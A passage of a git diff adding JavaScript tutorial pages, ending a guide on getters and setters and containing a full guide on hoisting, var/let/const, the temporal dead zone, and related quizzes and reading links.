"parent" — inherited getter now visible +``` + +--- + +## Performance Considerations + +### Getters Are Called Every Time + +Unlike regular properties, getters execute their function on every access: + +```javascript +let callCount = 0 + +const obj = { + get expensive() { + callCount++ + // Simulate expensive computation + let sum = 0 + for (let i = 0; i < 1000000; i++) { + sum += i + } + return sum + } +} + +console.log(obj.expensive) // Computes... 499999500000 +console.log(obj.expensive) // Computes again! +console.log(obj.expensive) // And again! + +console.log(callCount) // 3 — called three times! +``` + +### Memoization Pattern + +For expensive computations, cache the result: + +```javascript +const obj = { + _cachedExpensive: null, + + get expensive() { + if (this._cachedExpensive === null) { + console.log("Computing...") + let sum = 0 + for (let i = 0; i < 1000000; i++) { + sum += i + } + this._cachedExpensive = sum + } + return this._cachedExpensive + }, + + invalidateCache() { + this._cachedExpensive = null + } +} + +console.log(obj.expensive) // "Computing..." then result +console.log(obj.expensive) // Just result — no computation +console.log(obj.expensive) // Just result — still cached + +obj.invalidateCache() +console.log(obj.expensive) // "Computing..." — recalculates +``` + +### Self-Replacing Getter (Lazy Property) + +For values that never change, replace the getter with a data property on first access: + +```javascript +const obj = { + get lazyValue() { + console.log("Computing once...") + const value = Math.random() // Expensive computation + + // Replace getter with data property + Object.defineProperty(this, "lazyValue", { + value: value, + writable: false, + configurable: false + }) + + return value + } +} + +console.log(obj.lazyValue) // "Computing once..." then 0.123... +console.log(obj.lazyValue) // 0.123... — no log, now a data property +console.log(obj.lazyValue) // 0.123... — same value, no computation +``` + +### When to Use Data Properties Instead + +Use regular data properties when: +- The value doesn't need computation +- You don't need validation on assignment +- Performance is critical and the value is accessed frequently + +```javascript +// ❌ Unnecessary getter +const point = { + _x: 0, + get x() { return this._x } +} + +// ✓ Just use a data property +const point = { + x: 0 +} +``` + +--- + +## JSON.stringify() and Getters + +When you call [`JSON.stringify()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/stringify) on an object, getter values are included in the output (because the getter is called), but setter-only properties result in nothing being included: + +```javascript +const user = { + firstName: "Alice", + lastName: "Smith", + + get fullName() { + return `${this.firstName} ${this.lastName}` + }, + + set nickname(value) { + this._nickname = value + } +} + +console.log(JSON.stringify(user)) +// {"firstName":"Alice","lastName":"Smith","fullName":"Alice Smith"} + +// Note: +// - fullName IS included (getter was called) +// - nickname is NOT included (setter-only, no value to serialize) +// - _nickname is NOT included (doesn't exist yet) +``` + +--- + +## Key Takeaways + +<Info> +**The key things to remember:** + +1. **Getters and setters are functions that look like properties.** Access them without parentheses. + +2. **Use `get` for reading, `set` for writing.** The getter returns a value; the setter receives the assigned value. + +3. **Always use a backing property to avoid infinite recursion.** Use `_name` for `name`, or use private fields (`#name`). + +4. **Getter-only properties are read-only.** Assignment fails silently in sloppy mode, throws in strict mode. + +5. **Setter-only properties return undefined when read.** They're rare but useful for write-only operations. + +6. **Accessor descriptors use `get`/`set`, not `value`/`writable`.** You cannot mix them in `Object.defineProperty()`. + +7. **Getters execute on every access.** Use memoization for expensive computations. + +8. **Getters and setters are inherited.** Use `super.prop` to call the parent's accessor in a subclass. + +9. **JSON.stringify() calls getters.** The computed value is included in the JSON output. + +10. **Use getters for computed values, setters for validation.** They're perfect for derived properties and enforcing constraints. +</Info> + +--- + +## Test Your Knowledge + +<AccordionGroup> + <Accordion title="What's the difference between a getter and a method?"> + **Answer:** + + Syntactically, getters are accessed without parentheses, while methods require them: + + ```javascript + const obj = { + get area() { return 100 }, + calculateArea() { return 100 } + } + + obj.area // 100 — getter, no parentheses + obj.calculateArea() // 100 — method, with parentheses + obj.calculateArea // [Function] — returns the function itself + ``` + + Semantically, use getters when the value feels like a property (area, fullName, isValid). Use methods when it feels like an action (calculate, fetch, process). + </Accordion> + + <Accordion title="How do you prevent infinite recursion in a setter?"> + **Answer:** + + Use a backing property with a different name: + + ```javascript + // ❌ WRONG — infinite recursion + set name(value) { + this.name = value // Calls setter again! + } + + // ✓ CORRECT — use backing property + set name(value) { + this._name = value // Different property + } + ``` + + Alternatively, use private fields (`#name`) or closure variables. + </Accordion> + + <Accordion title="What happens if you only define a getter without a setter?"> + **Answer:** + + The property becomes read-only: + + ```javascript + "use strict" + + const obj = { + get value() { return 42 } + } + + console.log(obj.value) // 42 + obj.value = 100 // TypeError: Cannot set property value which has only a getter + ``` + + In non-strict mode, the assignment silently fails instead of throwing. + </Accordion> + + <Accordion title="Can you have both a value and a getter on the same property?"> + **Answer:** + + No. A property descriptor must be either a **data descriptor** (with `value`/`writable`) or an **accessor descriptor** (with `get`/`set`). Mixing them throws a TypeError: + + ```javascript + Object.defineProperty({}, "prop", { + value: 42, + get() { return 42 } + }) + // TypeError: Invalid property descriptor. Cannot both specify + // accessors and a value or writable attribute + ``` + </Accordion> + + <Accordion title="When would you use a getter vs a regular property?"> + **Answer:** + + Use a getter when you need: + + 1. **Computed values** — derived from other properties + ```javascript + get fullName() { return `${this.firstName} ${this.lastName}` } + ``` + + 2. **Lazy evaluation** — defer expensive computation + + 3. **Validation on read** — transform or validate before returning + + 4. **Encapsulation** — hide the backing storage + + Use a regular property when: + - The value doesn't need computation + - No validation is needed + - Performance is critical (getters run on every access) + </Accordion> + + <Accordion title="How do getters behave with JSON.stringify()?"> + **Answer:** + + Getters are called during serialization, and their return values are included in the JSON: + + ```javascript + const obj = { + a: 1, + get b() { return 2 } + } + + JSON.stringify(obj) // '{"a":1,"b":2}' + ``` + + The getter `b` was called, and its value `2` was included. Setter-only properties result in nothing being included (no value to serialize). + </Accordion> +</AccordionGroup> + +--- + +## Related Concepts + +<CardGroup cols={2}> + <Card title="Property Descriptors" icon="sliders" href="/beyond/concepts/property-descriptors"> + Deep dive into accessor descriptors vs data descriptors, and how they're defined with Object.defineProperty(). + </Card> + <Card title="Proxy & Reflect" icon="shield" href="/beyond/concepts/proxy-reflect"> + More powerful interception beyond getters/setters. Proxies can intercept any object operation. + </Card> + <Card title="Factories & Classes" icon="cube" href="/concepts/factories-classes"> + Comprehensive coverage of classes, including private fields (#) for backing properties and true encapsulation. + </Card> + <Card title="Strict Mode" icon="lock" href="/beyond/concepts/strict-mode"> + Why getter-only property assignments throw in strict mode but fail silently otherwise. + </Card> +</CardGroup> + +--- + +## Reference + +<CardGroup cols={2}> + <Card title="getter — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/get"> + Official documentation on the get syntax for defining getters. + </Card> + <Card title="setter — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/set"> + Official documentation on the set syntax for defining setters. + </Card> + <Card title="Object.defineProperty() — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty"> + How to define accessor properties with property descriptors. + </Card> + <Card title="Working with Objects — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Working_with_objects#defining_getters_and_setters"> + MDN guide section on defining getters and setters in objects. + </Card> +</CardGroup> + +--- + +## Articles + +<CardGroup cols={2}> + <Card title="Property getters and setters" icon="newspaper" href="https://javascript.info/property-accessors"> + The essential javascript.info guide covering accessor properties with clear examples. Includes the smart getter pattern for caching. + </Card> + <Card title="JavaScript Getters and Setters" icon="newspaper" href="https://www.programiz.com/javascript/getter-setter"> + Programiz tutorial with beginner-friendly explanations and practical examples of validation patterns. + </Card> + <Card title="An Introduction to JavaScript Getters and Setters" icon="newspaper" href="https://www.javascripttutorial.net/javascript-getters-and-setters/"> + JavaScript Tutorial's guide covering object literals, classes, and Object.defineProperty() approaches. + </Card> + <Card title="JavaScript Object Accessors" icon="newspaper" href="https://www.w3schools.com/js/js_object_accessors.asp"> + W3Schools quick reference with simple examples. Good for a fast refresher on syntax. + </Card> +</CardGroup> + +--- + +## Videos + +<CardGroup cols={2}> + <Card title="JavaScript Getters and Setters Explained" icon="video" href="https://www.youtube.com/watch?v=bl98dm7vJt0"> + Web Dev Simplified breaks down getters and setters with clear visual examples. Great for understanding when and why to use them. + </Card> + <Card title="Getter and Setter in JavaScript" icon="video" href="https://www.youtube.com/watch?v=5KNl4TQRpbo"> + Traversy Media covers getters and setters in both object literals and ES6 classes with practical code examples. + </Card> + <Card title="JavaScript Getters & Setters in 5 Minutes" icon="video" href="https://www.youtube.com/watch?v=y9TIr4T2EpA"> + Quick 5-minute overview if you just need the essentials. Covers syntax, use cases, and common pitfalls. + </Card> +</CardGroup> diff --git a/docs/beyond/concepts/hoisting.mdx b/docs/beyond/concepts/hoisting.mdx new file mode 100644 index 00000000..ea2f0293 --- /dev/null +++ b/docs/beyond/concepts/hoisting.mdx @@ -0,0 +1,836 @@ +--- +title: "Hoisting: How Declarations Move to the Top in JavaScript" +sidebarTitle: "Hoisting: How Declarations Move to the Top" +description: "Learn JavaScript hoisting and how declarations are moved to the top of their scope. Understand var vs let vs const hoisting, function hoisting, the Temporal Dead Zone, and common pitfalls." +--- + +Why can you call a function before it appears in your code? Why does `var` give you `undefined` instead of an error, while `let` throws a `ReferenceError`? How does JavaScript seem to know about variables before they're declared? + +```javascript +// This works - but how? +sayHello() // "Hello!" + +function sayHello() { + console.log("Hello!") +} + +// This doesn't throw an error - why? +console.log(name) // undefined +var name = "Alice" + +// But this does throw an error - what's different? +console.log(age) // ReferenceError: Cannot access 'age' before initialization +let age = 25 +``` + +The answer is **hoisting**. It's one of JavaScript's most misunderstood behaviors, and understanding it is key to writing predictable code and debugging confusing errors. + +<Info> +**What you'll learn in this guide:** +- What hoisting actually is (and what it isn't) +- How [`var`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/var), [`let`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/let), and [`const`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/const) are hoisted differently +- Why function declarations can be called before they appear in code +- The Temporal Dead Zone and why it exists +- Class and import hoisting behavior +- Common hoisting pitfalls and how to avoid them +- Best practices for declaring variables and functions +</Info> + +<Warning> +**Prerequisites:** This guide builds on your understanding of [Scope and Closures](/concepts/scope-and-closures) and the [Call Stack](/concepts/call-stack). If you're not comfortable with how JavaScript manages scope, read those guides first. +</Warning> + +--- + +## What is Hoisting in JavaScript? + +**[Hoisting](https://developer.mozilla.org/en-US/docs/Glossary/Hoisting)** is JavaScript's behavior of moving declarations to the top of their scope during the compilation phase, before any code is executed. When JavaScript prepares to run your code, it first scans for all variable and function declarations and "hoists" them to the top of their containing scope. Only the declarations are hoisted, not the initializations. + +Here's the key insight: hoisting isn't actually moving your code around. It's about when JavaScript becomes *aware* of your variables and functions during its two-phase execution process. + +<Note> +The term "hoisting" doesn't appear in the ECMAScript specification. It's a conceptual model that describes the observable behavior of how JavaScript handles declarations during compilation. +</Note> + +--- + +## The Moving Day Analogy + +Imagine you're moving into a new apartment. Before you even show up with your boxes, the moving company has already: + +1. **Put labels on every room** saying what will go there ("Living Room", "Bedroom", "Kitchen") +2. **Reserved space** for your furniture, but the rooms are empty + +When you arrive, you know where everything *will* go, but the actual furniture (the values) hasn't been unpacked yet. + +``` +┌─────────────────────────────────────────────────────────────────────────┐ +│ HOISTING: THE MOVING DAY ANALOGY │ +├─────────────────────────────────────────────────────────────────────────┤ +│ │ +│ BEFORE YOU ARRIVE (Compilation Phase) │ +│ ───────────────────────────────────── │ +│ │ +│ ┌──────────────┐ ┌──────────────┐ ┌──────────────┐ │ +│ │ LIVING ROOM │ │ BEDROOM │ │ KITCHEN │ │ +│ │ │ │ │ │ │ │ +│ │ [empty] │ │ [empty] │ │ [empty] │ │ +│ │ │ │ │ │ │ │ +│ │ Reserved │ │ Reserved │ │ Reserved │ │ +│ │ for: sofa │ │ for: bed │ │ for: table │ │ +│ └──────────────┘ └──────────────┘ └──────────────┘ │ +│ │ +│ AFTER UNPACKING (Execution Phase) │ +│ ───────────────────────────────── │ +│ │ +│ ┌──────────────┐ ┌──────────────┐ ┌──────────────┐ │ +│ │ LIVING ROOM │ │ BEDROOM │ │ KITCHEN │ │ +│ │ │ │ │ │ │ │ +│ │ [SOFA] │ │ [BED] │ │ [TABLE] │ │ +│ │ │ │ │ │ │ │ +│ └──────────────┘ └──────────────┘ └──────────────┘ │ +│ │ +│ JavaScript knows about all variables before execution, but their │ +│ values are only assigned when the code actually runs. │ +│ │ +└─────────────────────────────────────────────────────────────────────────┘ +``` + +This is exactly how hoisting works: +- **Compilation phase**: JavaScript "reserves space" for all declarations +- **Execution phase**: Values are actually assigned when the code runs + +--- + +## The Four Types of Hoisting + +Not all declarations are hoisted the same way. Understanding these differences is crucial: + +| Declaration Type | Hoisted? | Initialized? | Accessible Before Declaration? | +|-----------------|----------|--------------|-------------------------------| +| `var` | Yes | Yes (`undefined`) | Yes (returns `undefined`) | +| `let` / `const` | Yes | No (TDZ) | No (`ReferenceError`) | +| Function Declaration | Yes | Yes (full function) | Yes (fully usable) | +| Function Expression | Depends on `var`/`let`/`const` | No | No | +| `class` | Yes | No (TDZ) | No (`ReferenceError`) | +| `import` | Yes | Yes | Yes (but side effects run first) | + +Let's explore each one in detail. + +--- + +## Variable Hoisting with var + +Variables declared with [`var`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/var) are hoisted to the top of their function (or global scope) and automatically initialized to `undefined`. + +```javascript +console.log(greeting) // undefined (not an error!) +var greeting = "Hello" +console.log(greeting) // "Hello" +``` + +### How JavaScript Sees Your Code + +When you write code with `var`, JavaScript essentially transforms it during compilation: + +``` +┌─────────────────────────────────────────────────────────────────────────┐ +│ var HOISTING TRANSFORMATION │ +├─────────────────────────────────────────────────────────────────────────┤ +│ │ +│ YOUR CODE: HOW JAVASCRIPT SEES IT: │ +│ ────────── ────────────────────── │ +│ │ +│ console.log(x); var x; // Hoisted! │ +│ var x = 5; console.log(x); // undefined │ +│ console.log(x); x = 5; // Assignment │ +│ console.log(x); // 5 │ +│ │ +└─────────────────────────────────────────────────────────────────────────┘ +``` + +### var Hoisting in Functions + +`var` is function-scoped, meaning it's hoisted to the top of the containing function: + +```javascript +function example() { + console.log(message) // undefined + + if (true) { + var message = "Hello" + } + + console.log(message) // "Hello" +} + +example() +``` + +Even though `message` is declared inside the `if` block, `var` ignores [block scope](/concepts/scope-and-closures) and hoists to the function level. + +<Tip> +**The Rule:** `var` declarations are hoisted to the top of their **function** scope (or global scope if not in a function). The declaration is hoisted, but the assignment stays in place. +</Tip> + +--- + +## let and const: Hoisted but in the Temporal Dead Zone + +Here's where many developers get confused: `let` and `const` **are hoisted**, but they behave differently from `var`. They enter what's called the **[Temporal Dead Zone (TDZ)](/beyond/concepts/temporal-dead-zone)**. + +```javascript +// TDZ starts at the beginning of the block +console.log(name) // ReferenceError: Cannot access 'name' before initialization +let name = "Alice" +// TDZ ends here +``` + +### What is the Temporal Dead Zone? + +The **Temporal Dead Zone** is the period between entering a scope and the actual declaration of a `let` or `const` variable. During this time, the variable exists (JavaScript knows about it), but accessing it throws a [`ReferenceError`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ReferenceError). Learn more about the TDZ in our [dedicated Temporal Dead Zone guide](/beyond/concepts/temporal-dead-zone). + +``` +┌─────────────────────────────────────────────────────────────────────────┐ +│ TEMPORAL DEAD ZONE (TDZ) │ +├─────────────────────────────────────────────────────────────────────────┤ +│ │ +│ function example() { │ +│ // ┌─────────────────────────────────────────────┐ │ +│ // │ TEMPORAL DEAD ZONE FOR 'x' │ │ +│ // │ │ │ +│ // │ console.log(x); // ReferenceError! │ │ +│ // │ console.log(x); // ReferenceError! │ │ +│ // │ console.log(x); // ReferenceError! │ │ +│ // └─────────────────────────────────────────────┘ │ +│ │ +│ let x = 10; // ← TDZ ends here, 'x' is now accessible │ +│ │ +│ console.log(x); // 10 ✓ │ +│ } │ +│ │ +└─────────────────────────────────────────────────────────────────────────┘ +``` + +### Why Does the TDZ Exist? + +The TDZ exists to catch bugs. Consider this code: + +```javascript +let x = "outer" + +function example() { + console.log(x) // What should this print? + let x = "inner" +} +``` + +Without the TDZ, the `console.log(x)` might confusingly access the outer `x`. With the TDZ, JavaScript tells you immediately that something is wrong: you're trying to use a variable before it's ready. + +### TDZ Proof: let IS Hoisted + +Here's proof that `let` is actually hoisted (just with TDZ behavior): + +```javascript +let x = "outer" + +{ + // If 'x' wasn't hoisted, this would print "outer" + // But instead, we get a ReferenceError because the inner 'x' IS hoisted + // and creates a TDZ that shadows the outer 'x' + console.log(x) // ReferenceError: Cannot access 'x' before initialization + let x = "inner" +} +``` + +The fact that we get a `ReferenceError` instead of `"outer"` proves that the inner `let x` declaration was hoisted and is "shadowing" the outer `x` from the start of the block. + +<Warning> +**Common Misconception:** Many tutorials say `let` and `const` are "not hoisted." This is incorrect. They ARE hoisted, but they remain uninitialized in the TDZ until their declaration is reached. +</Warning> + +--- + +## Function Declaration Hoisting + +[Function declarations](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/function) are fully hoisted. Both the name AND the function body are moved to the top of the scope. This is why you can call a function before its declaration: + +```javascript +// This works perfectly! +sayHello("World") // "Hello, World!" + +function sayHello(name) { + console.log(`Hello, ${name}!`) +} +``` + +### Function Declaration vs Function Expression + +This is a critical distinction: + +<Tabs> + <Tab title="Function Declaration"> + ```javascript + // ✓ Works - function declarations are fully hoisted + greet() // "Hello!" + + function greet() { + console.log("Hello!") + } + ``` + </Tab> + <Tab title="Function Expression (var)"> + ```javascript + // ✗ TypeError - greet is undefined, not a function + greet() // TypeError: greet is not a function + + var greet = function() { + console.log("Hello!") + } + ``` + + With `var`, the variable `greet` is hoisted and initialized to `undefined`. Calling `undefined()` throws a TypeError. + </Tab> + <Tab title="Function Expression (let/const)"> + ```javascript + // ✗ ReferenceError - greet is in the TDZ + greet() // ReferenceError: Cannot access 'greet' before initialization + + const greet = function() { + console.log("Hello!") + } + ``` + + With `let`/`const`, the variable is in the TDZ, so we get a ReferenceError. + </Tab> +</Tabs> + +### Arrow Functions Follow the Same Rules + +[Arrow functions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions) are always expressions, so they're never hoisted as functions: + +```javascript +// ✗ ReferenceError +sayHi() // ReferenceError: Cannot access 'sayHi' before initialization + +const sayHi = () => { + console.log("Hi!") +} +``` + +<Tip> +**Quick Rule:** If it uses the `function` keyword as a statement (not part of an expression), it's fully hoisted. If it's assigned to a variable, only the variable declaration is hoisted (following `var`/`let`/`const` rules). +</Tip> + +--- + +## Class Hoisting + +[Classes](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Classes) are hoisted similarly to `let` and `const`. They enter the TDZ and cannot be used before their declaration: + +```javascript +// ✗ ReferenceError +const dog = new Animal("Buddy") // ReferenceError: Cannot access 'Animal' before initialization + +class Animal { + constructor(name) { + this.name = name + } +} +``` + +This applies to both class declarations and class expressions: + +```javascript +// Class declaration - TDZ applies +new MyClass() // ReferenceError +class MyClass {} + +// Class expression - follows variable hoisting rules +new MyClass() // ReferenceError (const is in TDZ) +const MyClass = class {} +``` + +--- + +## Import Hoisting + +[Import declarations](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/import) are hoisted to the very top of their module. However, the imported module's code runs before your module's code: + +```javascript +// This works even though the import is "below" +console.log(helper()) // Works! + +import { helper } from './utils.js' +``` + +<Note> +While imports are hoisted, it's best practice to keep all imports at the top of your file for readability. Most linters and style guides enforce this. +</Note> + +--- + +## Hoisting Order and Precedence + +What happens when a variable and a function have the same name? There's a specific order of precedence: + +### Function Declarations Win Over var + +```javascript +console.log(typeof myName) // "function" + +var myName = "Alice" + +function myName() { + return "I'm a function!" +} + +console.log(typeof myName) // "string" +``` + +Here's what happens: +1. Both `var myName` and `function myName` are hoisted +2. Function declarations are hoisted AFTER variable declarations +3. So `function myName` overwrites the `undefined` from `var myName` +4. When execution reaches `var myName = "Alice"`, it reassigns to a string + +### Multiple var Declarations + +Multiple `var` declarations of the same variable are merged into one: + +```javascript +var x = 1 +var x = 2 +var x = 3 + +console.log(x) // 3 +``` + +This is essentially the same as: + +```javascript +var x +x = 1 +x = 2 +x = 3 +``` + +<Warning> +`let` and `const` don't allow redeclaration. This code throws a `SyntaxError`: + +```javascript +let x = 1 +let x = 2 // SyntaxError: Identifier 'x' has already been declared +``` +</Warning> + +--- + +## The #1 Hoisting Mistake + +The most common hoisting trap involves function expressions with `var`: + +```javascript +// What does this print? +console.log(sum(2, 3)) + +var sum = function(a, b) { + return a + b +} +``` + +**Answer:** `TypeError: sum is not a function` + +### Why This Happens + +``` +┌─────────────────────────────────────────────────────────────────────────┐ +│ THE FUNCTION EXPRESSION TRAP │ +├─────────────────────────────────────────────────────────────────────────┤ +│ │ +│ YOUR CODE: HOW JAVASCRIPT SEES IT: │ +│ ────────── ────────────────────── │ +│ │ +│ console.log(sum(2, 3)) var sum; // undefined │ +│ console.log(sum(2, 3)) // Error! │ +│ var sum = function(a, b) { sum = function(a, b) { │ +│ return a + b return a + b │ +│ } } │ +│ │ +│ When sum(2, 3) is called, sum is undefined. │ +│ Calling undefined(2, 3) throws TypeError! │ +│ │ +└─────────────────────────────────────────────────────────────────────────┘ +``` + +### The Fix: Use Function Declarations + +If you need to call a function before its definition, use a function declaration: + +```javascript +// ✓ This works +console.log(sum(2, 3)) // 5 + +function sum(a, b) { + return a + b +} +``` + +Or, declare your function expressions at the top: + +```javascript +// ✓ Define first, use later +const sum = function(a, b) { + return a + b +} + +console.log(sum(2, 3)) // 5 +``` + +--- + +## Why Does Hoisting Exist? + +You might wonder why JavaScript has this seemingly confusing behavior. There are historical and practical reasons: + +### 1. Mutual Recursion + +Hoisting enables functions to call each other regardless of declaration order: + +```javascript +function isEven(n) { + if (n === 0) return true + return isOdd(n - 1) // Can call isOdd before it's defined +} + +function isOdd(n) { + if (n === 0) return false + return isEven(n - 1) // Can call isEven +} + +console.log(isEven(4)) // true +console.log(isOdd(3)) // true +``` + +Without hoisting, you'd need to carefully order all function declarations or use forward declarations like in C. + +### 2. Two-Phase Execution + +[JavaScript engines](/concepts/javascript-engines) process code in two phases: + +<Steps> + <Step title="Compilation Phase"> + The engine scans the code and registers all declarations in memory. Variables are created but not assigned values (except functions, which are fully created). + </Step> + + <Step title="Execution Phase"> + The engine runs the code line by line, assigning values to variables and executing statements. + </Step> +</Steps> + +This two-phase approach is why hoisting exists. It's a natural consequence of how JavaScript is parsed and executed. + +--- + +## Best Practices + +<AccordionGroup> + <Accordion title="1. Declare variables at the top of their scope"> + Even though hoisting will move declarations anyway, putting them at the top makes your code clearer and easier to understand: + + ```javascript + function processUser(user) { + // All declarations at the top + const name = user.name + const email = user.email + let isValid = false + + // Logic follows + if (name && email) { + isValid = true + } + + return isValid + } + ``` + </Accordion> + + <Accordion title="2. Prefer const > let > var"> + Use `const` by default, `let` when you need to reassign, and avoid `var` entirely: + + ```javascript + // ✓ Good + const API_URL = 'https://api.example.com' + let currentUser = null + + // ✗ Avoid + var counter = 0 + ``` + + `const` and `let` have more predictable scoping and the TDZ catches bugs early. + </Accordion> + + <Accordion title="3. Use function declarations for named functions"> + Function declarations are hoisted fully and make your intent clear: + + ```javascript + // ✓ Clear intent, fully hoisted + function calculateTotal(items) { + return items.reduce((sum, item) => sum + item.price, 0) + } + + // ✓ Also fine - but define before use + const calculateTax = (amount) => amount * 0.1 + ``` + </Accordion> + + <Accordion title="4. Keep imports at the top"> + Even though imports are hoisted, keep them at the top for readability: + + ```javascript + // ✓ Good - imports at top + import { useState, useEffect } from 'react' + import { fetchUser } from './api' + + function UserProfile() { + // Component code + } + ``` + </Accordion> + + <Accordion title="5. Don't rely on hoisting for variable values"> + Just because `var` lets you access variables before declaration doesn't mean you should: + + ```javascript + // ✗ Bad - confusing, relies on hoisting + function bad() { + console.log(x) // undefined - works but confusing + var x = 5 + } + + // ✓ Good - clear and predictable + function good() { + const x = 5 + console.log(x) // 5 + } + ``` + </Accordion> +</AccordionGroup> + +--- + +## Key Takeaways + +<Info> +**The key things to remember about Hoisting:** + +1. **Hoisting is declaration movement** — JavaScript moves declarations to the top of their scope during compilation, but assignments stay in place + +2. **`var` is hoisted and initialized to `undefined`** — You can access it before declaration, but the value is `undefined` + +3. **`let` and `const` are hoisted into the TDZ** — They exist but throw `ReferenceError` if accessed before declaration + +4. **Function declarations are fully hoisted** — Both the name and body are available before the declaration appears in code + +5. **Function expressions follow variable rules** — A `var` function expression gives `TypeError`, a `let`/`const` expression gives `ReferenceError` + +6. **Classes are hoisted with TDZ** — Like `let`/`const`, classes cannot be used before declaration + +7. **Imports are hoisted to the top** — But module side effects execute before your code runs + +8. **Functions beat variables** — When a function and `var` share a name, the function takes precedence initially + +9. **TDZ exists to catch bugs** — It prevents confusing behavior where inner variables might accidentally use outer values + +10. **Best practice: declare at the top** — Don't rely on hoisting for readability; put declarations where you use them +</Info> + +--- + +## Test Your Knowledge + +<AccordionGroup> + <Accordion title="Question 1: What does this code output?"> + ```javascript + console.log(x) + var x = 10 + console.log(x) + ``` + + **Answer:** + + ``` + undefined + 10 + ``` + + The `var x` declaration is hoisted and initialized to `undefined`. The first `console.log` prints `undefined`. Then `x` is assigned `10`, and the second `console.log` prints `10`. + </Accordion> + + <Accordion title="Question 2: What does this code output?"> + ```javascript + console.log(y) + let y = 20 + ``` + + **Answer:** + + ``` + ReferenceError: Cannot access 'y' before initialization + ``` + + `let` is hoisted but enters the Temporal Dead Zone. Accessing it before declaration throws a `ReferenceError`. + </Accordion> + + <Accordion title="Question 3: What does this code output?"> + ```javascript + sayHi() + + var sayHi = function() { + console.log("Hi!") + } + ``` + + **Answer:** + + ``` + TypeError: sayHi is not a function + ``` + + The `var sayHi` is hoisted and initialized to `undefined`. Calling `undefined()` throws a `TypeError`. + </Accordion> + + <Accordion title="Question 4: What does this code output?"> + ```javascript + sayHello() + + function sayHello() { + console.log("Hello!") + } + ``` + + **Answer:** + + ``` + Hello! + ``` + + Function declarations are fully hoisted. The entire function is available before its declaration in the code. + </Accordion> + + <Accordion title="Question 5: What does this code output?"> + ```javascript + var a = 1 + function a() { return 2 } + console.log(typeof a) + ``` + + **Answer:** + + ``` + number + ``` + + Both are hoisted, with the function declaration winning initially. But then `var a = 1` executes and reassigns `a` to the number `1`. So `typeof a` is `"number"`. + </Accordion> + + <Accordion title="Question 6: Why does this throw an error?"> + ```javascript + const x = "outer" + + function test() { + console.log(x) + const x = "inner" + } + + test() + ``` + + **Answer:** + + This throws `ReferenceError: Cannot access 'x' before initialization`. + + Even though there's an outer `x`, the inner `const x` is hoisted within `test()` and creates a TDZ. The inner `x` shadows the outer `x` from the start of the function, so the `console.log(x)` tries to access the inner `x` which is still in the TDZ. + + This proves that `const` (and `let`) ARE hoisted; they just can't be accessed until initialized. + </Accordion> +</AccordionGroup> + +--- + +## Related Concepts + +<CardGroup cols={2}> + <Card title="Scope and Closures" icon="box" href="/concepts/scope-and-closures"> + Understanding scope is essential to understanding hoisting + </Card> + <Card title="Temporal Dead Zone" icon="clock" href="/beyond/concepts/temporal-dead-zone"> + Deep dive into the TDZ and its edge cases + </Card> + <Card title="Call Stack" icon="layer-group" href="/concepts/call-stack"> + How JavaScript tracks execution context + </Card> + <Card title="JavaScript Engines" icon="microchip" href="/concepts/javascript-engines"> + How engines parse and execute JavaScript code + </Card> +</CardGroup> + +--- + +## Reference + +<CardGroup cols={2}> + <Card title="Hoisting — MDN Glossary" icon="book" href="https://developer.mozilla.org/en-US/docs/Glossary/Hoisting"> + Official MDN glossary entry explaining hoisting behavior + </Card> + <Card title="var — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/var"> + Reference for var hoisting and function scope + </Card> + <Card title="let — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/let"> + Reference for let, block scope, and the Temporal Dead Zone + </Card> + <Card title="const — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/const"> + Reference for const declarations and TDZ behavior + </Card> + <Card title="function — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/function"> + Reference for function declarations and hoisting + </Card> + <Card title="Grammar and Types — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Grammar_and_types#variable_hoisting"> + MDN guide section on variable hoisting + </Card> +</CardGroup> + +--- + +## Articles + +<CardGroup cols={2}> + <Card title="JavaScript Hoisting — javascript.info" icon="newspaper" href="https://javascript.info/var#var-variables-can-be-declared-below-their-use"> + Clear explanation of var hoisting with excellent diagrams. Part of the comprehensive javascript.info tutorial series. + </Card> + <Card title="Understanding Hoisting in JavaScript — DigitalOcean" icon="newspaper" href="https://www.digitalocean.com/community/tutorials/understanding-hoisting-in-javascript"> + Thorough tutorial covering all hoisting scenarios with practical examples. Great for understanding the execution context. + </Card> + <Card title="JavaScript Visualized: Hoisting — Lydia Hallie" icon="newspaper" href="https://dev.to/lydiahallie/javascript-visualized-hoisting-478h"> + Animated GIFs showing exactly how hoisting works. This visual approach makes the concept click for visual learners. + </Card> + <Card title="A guide to JavaScript variable hoisting — freeCodeCamp" icon="newspaper" href="https://www.freecodecamp.org/news/what-is-variable-hoisting-differentiating-between-var-let-and-const-in-es6-f1a70bb43d"> + Beginner-friendly guide comparing var, let, and const hoisting with clear code examples. + </Card> +</CardGroup> + +--- + +## Videos + +<CardGroup cols={2}> + <Card title="Hoisting in JavaScript — Namaste JavaScript" icon="video" href="https://www.youtube.com/watch?v=Fnlnw8uY6jo"> + Akshay Saini's detailed explanation with execution context visualization. Part of the popular Namaste JavaScript series. + </Card> + <Card title="JavaScript Hoisting Explained — Web Dev Simplified" icon="video" href="https://www.youtube.com/watch?v=EvfRXyKa_GI"> + Kyle Cook's 